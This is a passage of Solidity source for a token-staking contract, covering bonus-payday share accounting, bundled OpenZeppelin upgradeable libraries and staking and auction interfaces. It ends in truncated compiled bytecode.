uint16( MathUpgradeable.min(5, starttime.sub(startContract).div(denom)) ); // (starttime - t0) // 350 uint256 bpdEnd = uint256(bpdInterval[0]) + endtime.sub(starttime).div(denom); bpdInterval[1] = uint16(MathUpgradeable.min(bpdEnd, 5)); // bpd_first + nx350 return bpdInterval; } function addBPDMaxShares( uint256 oldShares, uint256 oldStart, uint256 oldEnd, uint256 newShares, uint256 newStart, uint256 newEnd ) internal { uint16[2] memory oldBpdInterval = findBPDs(oldStart, oldEnd); uint16[2] memory newBpdInterval = findBPDs(newStart, newEnd); for (uint16 i = oldBpdInterval[0]; i < newBpdInterval[1]; i++) { uint256 shares = newShares; if (oldBpdInterval[1] > i) { shares = shares.sub(oldShares); } bpd128.shares[i] += uint128(shares); // we only do integer shares, no decimals } } function addBPDShares( uint256 shares, uint256 starttime, uint256 endtime ) internal { uint16[2] memory bpdInterval = findBPDs(starttime, endtime); for (uint16 i = bpdInterval[0]; i < bpdInterval[1]; i++) { bpd128.shares[i] += uint128(shares); // we only do integer shares, no decimals } } function calcBPDOnWithdraw(uint256 shares, uint16[2] memory bpdInterval) internal view returns (uint256) { uint256 bpdAmount; uint256 shares1e18 = shares.mul(1e18); for (uint16 i = bpdInterval[0]; i < bpdInterval[1]; i++) { bpdAmount += shares1e18.div(bpd128.shares[i]).mul(bpd128.pool[i]); } return bpdAmount.div(1e18); } /** CalcBPD @param start - Start of the stake @param end - ACTUAL End of the stake. We want to calculate using the actual end. We'll use findBPD's to figure out what BPD's the user is eligible for @param shares - Shares of stake */ function calcBPD( uint256 start, uint256 end, uint256 shares ) public view returns (uint256) { uint16[2] memory bpdInterval = findBPDs(start, end); return calcBPDOnWithdraw(shares, bpdInterval); } function getBPD() external view returns (uint128[5] memory, uint128[5] memory) { return (bpd128.pool, bpd128.shares); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library MathUpgradeable { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSetUpgradeable.sol"; import "../utils/AddressUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; using AddressUpgradeable for address; struct RoleData { EnumerableSetUpgradeable.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IToken { function mint(address to, uint256 amount) external; function burn(address from, uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IAuction { function callIncomeDailyTokensTrigger(uint256 amount) external; function callIncomeWeeklyTokensTrigger(uint256 amount) external; function addReservesToAuction(uint256 daysInFuture, uint256 amount) external returns(uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IStaking { function externalStake( uint256 amount, uint256 stakingDays, address staker ) external; function updateTokenPricePerShare( address payable bidderAddress, address payable originAddress, address tokenAddress, uint256 amountBought ) external payable; function addDivToken(address tokenAddress) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IStakingV1 { function sessionDataOf(address, uint256) external view returns (uint256, uint256, uint256, uint256, uint256); function sessionsOf_(address) external view returns (uint256[] memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } }
0x6080604052600436106102d35760003560e01c80630a6ab9da146102d85780630b7df8b7146102ff5780630fe82a9c146103545780631304bd761461038957806316c38b3c146104055780631990ecff146104315780631f5a56a81461045b578063228988c41461049a578063248a9ca31461051d57806328054bf81461054757806329652e86146105735780632de73a6c1461059d5780632e17de78146105d95780632f2ff15d1461060357806336568abe1461063c5780633feb925b14610675578063421653f71461068a57806345bf0cc01461069f578063485cc955146106b45780634bc2e48d146106ef5780634c338b2b146107045780634f5f99781461075b578063567e98f91461078557806357fb3d5c1461079a5780635b3d27af146107c45780635fb02f4d146107ff578063651723031461081457806367bfe9271461083e5780636805b84b146108535780636ab6122a1461087c5780636fae2e15146108b25780637b0472f0146108c75780637e01ab3c146108f75780637e905dfe146109255780638061c46f1461093a578063807509781461094f578063814a59b3146109795780639010d07c1461098e578063914db2c1146109da57806391d1485414610a085780639803755814610a41578063982e52fb14610a775780639964935e14610a8c578063a1967e3e14610aa1578063a217fddf14610b0c578063a2e6f9bf14610b21578063a838541b14610b36578063aa187dd014610b69578063abe9127114610b7e578063afc27e4314610b93578063c49b7c3114610bc6578063ca15c87314610bf2578063ce733e6d14610c1c578063d477607914610c52578063d547741f14610c85578063da0321cd14610cbe578063dd00721214610cfe578063eadca0f414610d37578063ec87621c14610d4c578063f1b5e63114610d61578063f556a79c14610d97578063fa82ac7614610dac578063fb802a6514610de5578063fe39e46c14610dfa575b600080fd5b3480156102e457600080fd5b506102ed610e2d565b60408051918252519081900360200190f35b34801561030b57600080fd5b5061033b6004803603608081101561032257600080fd5b5080359060208101359060408101359060600135610e33565b6040805192835260208301919091528051918290030190f35b34801561036057600080fd5b506103876004803603602081101561037757600080fd5b50356001600160a01b0316610f5d565b005b34801561039557600080fd5b506103c2600480360360408110156103ac57600080fd5b506001600160a01b03813516906020013561101d565b604080519889526020890197909752878701959095526060870193909352608086019190915260a0850152151560c084015260e083015251908190036101000190f35b34801561041157600080fd5b506103876004803603602081101561042857600080fd5b50351515611071565b34801561043d57600080fd5b506103876004803603602081101561045457600080fd5b503561111c565b34801561046757600080fd5b506103876004803603606081101561047e57600080fd5b50803590602081013590604001356001600160a01b03166114f4565b3480156104a657600080fd5b506104cd600480360360208110156104bd57600080fd5b50356001600160a01b0316611677565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156105095781810151838201526020016104f1565b505050509050019250505060405180910390f35b34801561052957600080fd5b506102ed6004803603602081101561054057600080fd5b50356116e3565b34801561055357600080fd5b5061055c6116f8565b6040805161ffff9092168252519081900360200190f35b34801561057f57600080fd5b5061033b6004803603602081101561059657600080fd5b5035611707565b610387600480360360808110156105b357600080fd5b506001600160a01b03813581169160208101358216916040820135169060600135611732565b3480156105e557600080fd5b50610387600480360360208110156105fc57600080fd5b5035611829565b34801561060f57600080fd5b506103876004803603604081101561062657600080fd5b50803590602001356001600160a01b031661192a565b34801561064857600080fd5b506103876004803603604081101561065f57600080fd5b50803590602001356001600160a01b031661198d565b34801561068157600080fd5b506102ed6119ee565b34801561069657600080fd5b506102ed611a1